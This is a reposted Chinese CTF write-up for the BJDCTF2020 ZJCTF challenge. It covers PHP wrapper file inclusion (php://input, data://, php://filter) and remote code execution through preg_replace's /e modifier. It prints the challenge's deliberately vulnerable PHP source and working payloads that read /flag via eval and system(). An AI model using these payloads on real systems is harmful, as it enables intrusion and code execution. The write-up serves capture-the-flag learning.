[BJDCTF2020]ZJCTF,不過如此


0x00 知識點

本地文件包含偽協議

?text=php://input //執行
post:

I have a dream
?file=php://filter/read/convert.base64-encode/resource=index.php

preg_replace()使用的/e模式可以存在遠程執行代碼
鏈接:

https://xz.aliyun.com/t/2557

payload 為:

 /?.*={${phpinfo()}}


即 GET 方式傳入的參數名為 /?.* ,值為 {${phpinfo()}}

payload2:

\S*=${phpinfo()}

0x01 解題

打開題目,給了我們源代碼:

分析一下:

1:通過get方式傳入$text和$file
2:text變量中內容要是I have a dream
3:file中不能有flag關鍵字

一開始還想用正則貪婪模式匹配繞過。后來發現就是偽協議。。
直接傳參讀取next.php源碼:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

得到源碼
這里還有一種方式讀取

?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64- encode/resource=next.php

看源碼
preg_replace()的RCE
payload1:利用源碼給的getFlag函數

/next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22);

payload2:通過構造post傳參

next.php?\S*=${eval($_POST[wtz])}
POST:
wtz=system("cat /flag");

這個方法我bp並沒成功,hackbar可以


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM